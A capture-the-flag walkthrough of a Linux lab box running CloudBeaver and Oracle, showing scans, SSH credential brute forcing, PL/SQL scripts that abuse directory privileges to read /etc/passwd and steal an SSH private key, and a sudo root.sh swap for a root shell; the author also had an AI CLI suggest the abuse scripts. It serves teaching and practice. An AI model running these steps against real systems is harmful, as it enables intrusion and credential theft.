This is a Hack Smarter Linux box and the first one I am trying from this platform so this should definitely be interesting, and I am excited to start.

Initial Recon

[+] I like running nmap and rustscan for port scanning just because I’ve been in a situation where nmap missed a port but rustscan picked it up. I also started gemini-cli to run the port scan just to see the results. I had to create an api key via Google AI studio to get it to work.

rustscan -a $ip --ulimit 5000
nmap -A -T4 -p 22,8978 $ip -oN nmap.fulltcp

Pretty neat. I Could also ask it to explain the results within the same command with something like this: ! nmap -sV -A 192.168.1.10; analyze the output and tell me the most critical security finding.

Regular nmap scan results, I did not use gemini-cli to break down the results of the scan.

[+] I like testing for low hanging fruit, so we’ll target common creds on ssh via hydra.

hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt ssh://10.1.14.136 -t 4 -v

No luck. The likelihood that this was going to work was very slim to begin with.

Web Enumeration

[+] Let’s run feroxbuster in the background while navigating to port 8978.

feroxbuster -u http://$ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

[+] Also want to understand the tech stack that makes up this webpage with whatweb.

whatweb http://10.1.14.136:8978

“Cloudbeaver Community” interesting.

[+] Let’s check out the webpage, after all we do have some credentials provided that we have not used yet.

Well there it is. Let use our creds.

[+] After Authentication, we see a SQL editor we can start, an Oracle connection on 172.17.0.1 and the about section of CloudBeaver has a backend and frontend version number.

[+] Searchsploit does not identify any public exploits. Of course we would have to research more but I want to get some quick searches out the way before I end up in a rabbit hole.

[+] We navigate to the SQL Editor and we a session opens as the user Dev.

[+] Before crafting anything passed the scope of what is meant for this lab, we can try understanding our current user’s (DEV) privileges/limitations. In this case we can run this in SQL editor to get our user’s privileges:

SELECT * FROM usr_sys_privs

[+] I’m not great with PL/SQL Scripting so I asked gemini-cli for suggestions on how I could abuse these privileges we identified for the Dev user. I also asked it why this was an appropriate path, how it works, and what are some unintended consequences if I run the script. Important things to understand before just blindly copy & pasting scripts especially in a production environment.

using "select * from usr_sys_privs" our dev user has "DROP ANY DIRECTORY" and "CREATE ANY DIRECTORY". How can i abuse these privileges for this user?

Super cool. I think this might be a core tool in my workflow going forward. At least for suggestions when I am stuck.

[+] 1st step is to create a pointer for the /etc directory.

CREATE OR REPLACE DIRECTORY my_evil_dir AS '/etc/';

Looks like it executed successfully.

[+] Step 2 is to read a file using the directory object we created.

SET SERVEROUTPUT ON;

DECLARE
  f UTL_FILE.FILE_TYPE;
  line VARCHAR2(1024);
BEGIN
  f := UTL_FILE.FOPEN('MY_EVIL_DIR', 'passwd', 'r');

  LOOP
    BEGIN
      UTL_FILE.GET_LINE(f, line);
      DBMS_OUTPUT.PUT_LINE(line);
    EXCEPTION
      WHEN NO_DATA_FOUND THEN
        EXIT;
    END;
  END LOOP;

  UTL_FILE.FCLOSE(f);
EXCEPTION
  WHEN OTHERS THEN
    DBMS_OUTPUT.PUT_LINE('Error: ' || SQLERRM);
    IF UTL_FILE.IS_OPEN(f) THEN
      UTL_FILE.FCLOSE(f);
    END IF;
END;
/

Script shows it executed. Checking the output we get the results of /etc/passwd!

[+] Now that we know this works, let’s alter the script to get the contents of the oracle user’s authorized keys file and follow the same steps:

CREATE OR REPLACE DIRECTORY DIR_ORACLE_SSH AS '/home/oracle/.ssh';

[+] The 2nd step caused me some issues as it was not reading it is a valid SQL statement. I removed the 1st line and that did the trick as well as removing the cleanup section as it is not required for this lab. We also need to swap the parameters dir_name and file_name.

DECLARE
  dir_name VARCHAR2(30) := 'DIR_ORACLE_SSH';
  file_name VARCHAR2(30) := 'authorized_keys';
  file_content CLOB;
BEGIN
  -- Create a directory object pointing to the oracle user's .ssh directory
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY ' || dir_name || ' AS ''/home/oracle/.ssh''';

  -- Read the authorized_keys file
  file_content := DBMS_XSLPROCESSOR.READ2CLOB(dir_name, file_name);

  -- Print the content (the SSH keys)
  DBMS_OUTPUT.PUT_LINE(file_content);

  -- *** CLEANUP CODE REMOVED ***

EXCEPTION
  WHEN OTHERS THEN
    -- Print any errors
    DBMS_OUTPUT.PUT_LINE('Error: ' || SQLERRM);
    -- *** CLEANUP CODE REMOVED FROM EXCEPTION BLOCK ***
END;
/

[+] Now all we should have to do is swap the file name to “id_rsa” and grab the private key

DECLARE
  dir_name VARCHAR2(30) := 'DIR_ORACLE_SSH';
  file_name VARCHAR2(30) := 'id_rsa';
  file_content CLOB;
BEGIN
  -- Create a directory object pointing to the oracle user's .ssh directory
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY ' || dir_name || ' AS ''/home/oracle/.ssh''';

  -- Read the authorized_keys file
  file_content := DBMS_XSLPROCESSOR.READ2CLOB(dir_name, file_name);

  -- Print the content (the SSH keys)
  DBMS_OUTPUT.PUT_LINE(file_content);

  -- *** CLEANUP CODE REMOVED ***

EXCEPTION
  WHEN OTHERS THEN
    -- Print any errors
    DBMS_OUTPUT.PUT_LINE('Error: ' || SQLERRM);
    -- *** CLEANUP CODE REMOVED FROM EXCEPTION BLOCK ***
END;
/

[+] We can log into our target with the proper permission set on the id_rsa key (400) file we created on our attacker machine.

mousepad id_rsa
chmod 400 id_rsa
ssh -i id_rsa oracle@10.1.14.136

We’re In!

[+] 1st thing I like to check for is sudo permissions. Luckily our user has sudo permissions to a root.sh file.

sudo -l

[+] I was hoping to swap out the shell script and have it run /bin/bash to spawn a root shell but checking out the permissions of the file we actually do not have any permissions to that file. Only root has rwx permissions.

[+] From here I like to work backwards and see where our user does have access and in this case it is: /opt/oracle/product/21c/dbhomeXE. The file we need to execute root.sh falls within the directory we have write access to. So we can replace the root.sh and create the exact same file but this time we would own that file.

Before we replaced it.

cd /opt/oracle/product/21c/dbhomeXE
rm root.sh
vi root.sh
#!/bin/bash
/bin/bash -i
chmod +x root.sh

[+] Now that our user “Oracle” owns it we can execute with sudo and spawn a root shell

sudo /opt/oracle/product/21c/dbhomeXE/root.sh

Pwn3d!

Talisman Walkthrough

Initial Recon

Web Enumeration